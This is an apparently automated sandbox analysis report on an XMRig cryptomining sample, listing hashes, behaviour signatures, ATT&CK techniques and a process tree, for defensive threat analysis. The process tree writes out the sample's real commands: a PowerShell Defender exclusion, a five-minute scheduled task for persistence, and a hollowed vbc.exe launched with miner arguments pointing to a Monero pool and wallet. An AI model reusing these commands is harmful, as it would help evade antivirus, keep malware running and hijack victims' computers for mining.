xmrig | 5950196adf1ba037d91fb9b9687e9f3e471b905c36975ee238266fd0236f837f

General

Target

file.exe
Size

841KB
MD5

1fde5cfbf43638f1e806f9f5f90659f9
SHA1

cf0e1dd0a9dca901d74a5ce7c98a69f93b950875
SHA256

5950196adf1ba037d91fb9b9687e9f3e471b905c36975ee238266fd0236f837f
SHA512

ca0a6c0e2a82d3676fb4c06dc8b01f345ab5df8f3c0122bde157ae81b53da1d298ea2225c3244eff0c96b5da2c1d0f5140c84c514b194e208ba7f7bf943ff8c2
SSDEEP

24576:Vxo0vng/ho1bzqy33wOrsytVFguINYeiUdd:LNvng/hLj7MrINYeb

Score

10^/10

xmrig miner

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 6 IoCs

miner

resource	yara_rule
behavioral2/memory/3116-157-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/3116-158-0x0000000140343234-mapping.dmp	xmrig
behavioral2/memory/3116-159-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/3116-160-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/3116-162-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/3116-165-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\Control Panel\International\Geo\Nation	file.exe

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1352 set thread context of 3116	1352	file.exe	91

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
60	schtasks.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4580	powershell.exe
4580	powershell.exe
1352	file.exe
1352	file.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
648	Process not Found

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1352	file.exe
Token: SeDebugPrivilege	4580	powershell.exe
Token: SeLockMemoryPrivilege	3116	vbc.exe
Token: SeLockMemoryPrivilege	3116	vbc.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3116	vbc.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 1352 wrote to memory of 4580	1352	file.exe	80
PID 1352 wrote to memory of 4580	1352	file.exe	80
PID 1352 wrote to memory of 4332	1352	file.exe	87
PID 1352 wrote to memory of 4332	1352	file.exe	87
PID 4332 wrote to memory of 60	4332	cmd.exe	89
PID 4332 wrote to memory of 60	4332	cmd.exe	89
PID 1352 wrote to memory of 3116	1352	file.exe	91
PID 1352 wrote to memory of 3116	1352	file.exe	91
PID 1352 wrote to memory of 3116	1352	file.exe	91
PID 1352 wrote to memory of 3116	1352	file.exe	91
PID 1352 wrote to memory of 3116	1352	file.exe	91
PID 1352 wrote to memory of 3116	1352	file.exe	91
PID 1352 wrote to memory of 3116	1352	file.exe	91
PID 1352 wrote to memory of 3116	1352	file.exe	91
PID 1352 wrote to memory of 3116	1352	file.exe	91
PID 1352 wrote to memory of 3116	1352	file.exe	91
PID 1352 wrote to memory of 3116	1352	file.exe	91
PID 1352 wrote to memory of 3116	1352	file.exe	91
PID 1352 wrote to memory of 3116	1352	file.exe	91
PID 1352 wrote to memory of 3116	1352	file.exe	91

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1352
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4580
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "VANOZ" /tr "C:\ProgramData\Explorer\VANOZ.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4332
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "VANOZ" /tr "C:\ProgramData\Explorer\VANOZ.exe"
    3⤵
    - Creates scheduled task(s)
    PID:60
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:3116

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Scripting

Persistence

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Scripting

1

T1064

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1352-142-0x00000000000E0000-0x000000000021C000-memory.dmp

Filesize
1.2MB

Download
memory/1352-135-0x00007FFCC1D50000-0x00007FFCC1D62000-memory.dmp

Filesize
72KB

Download
memory/1352-136-0x00007FFCA9060000-0x00007FFCA911D000-memory.dmp

Filesize
756KB

Download
memory/1352-137-0x00007FFCC4920000-0x00007FFCC4AC1000-memory.dmp

Filesize
1.6MB

Download
memory/1352-138-0x00007FFCA79B0000-0x00007FFCA8471000-memory.dmp

Filesize
10.8MB

Download
memory/1352-139-0x00007FFCC4AD0000-0x00007FFCC4AFB000-memory.dmp

Filesize
172KB

Download
memory/1352-140-0x00000000000E0000-0x000000000021C000-memory.dmp

Filesize
1.2MB

Download
memory/1352-141-0x00007FFCA8810000-0x00007FFCA895E000-memory.dmp

Filesize
1.3MB

Download
memory/1352-154-0x00007FFCA4C30000-0x00007FFCA4D32000-memory.dmp

Filesize
1.0MB

Download
memory/1352-143-0x0000000003670000-0x00000000036B3000-memory.dmp

Filesize
268KB

Download
memory/1352-164-0x00007FFCA79B0000-0x00007FFCA8471000-memory.dmp

Filesize
10.8MB

Download
memory/1352-145-0x00007FFCC3E30000-0x00007FFCC3E57000-memory.dmp

Filesize
156KB

Download
memory/1352-144-0x00007FFCA79B0000-0x00007FFCA8471000-memory.dmp

Filesize
10.8MB

Download
memory/1352-163-0x00000000000E0000-0x000000000021C000-memory.dmp

Filesize
1.2MB

Download
memory/1352-133-0x00007FFCA9120000-0x00007FFCA91CA000-memory.dmp

Filesize
680KB

Download
memory/1352-156-0x00007FFCC3200000-0x00007FFCC323B000-memory.dmp

Filesize
236KB

Download
memory/1352-150-0x00007FFCA79B0000-0x00007FFCA8471000-memory.dmp

Filesize
10.8MB

Download
memory/1352-155-0x00007FFCC61C0000-0x00007FFCC622B000-memory.dmp

Filesize
428KB

Download
memory/1352-134-0x00007FFCC5C20000-0x00007FFCC5CBE000-memory.dmp

Filesize
632KB

Download
memory/1352-153-0x00007FFCA87A0000-0x00007FFCA87D5000-memory.dmp

Filesize
212KB

Download
memory/3116-160-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/3116-167-0x0000022617E60000-0x0000022617E80000-memory.dmp

Filesize
128KB

Download
memory/3116-170-0x0000022617ED0000-0x0000022617EF0000-memory.dmp

Filesize
128KB

Download
memory/3116-157-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/3116-159-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/3116-169-0x0000022617E60000-0x0000022617E80000-memory.dmp

Filesize
128KB

Download
memory/3116-161-0x00000226163A0000-0x00000226163C0000-memory.dmp

Filesize
128KB

Download
memory/3116-162-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/3116-168-0x0000022617ED0000-0x0000022617EF0000-memory.dmp

Filesize
128KB

Download
memory/3116-166-0x0000022617E90000-0x0000022617ED0000-memory.dmp

Filesize
256KB

Download
memory/3116-165-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/4580-147-0x0000025138DD0000-0x0000025138DF2000-memory.dmp

Filesize
136KB

Download
memory/4580-148-0x00007FFCA79B0000-0x00007FFCA8471000-memory.dmp

Filesize
10.8MB

Download
memory/4580-149-0x00007FFCA79B0000-0x00007FFCA8471000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads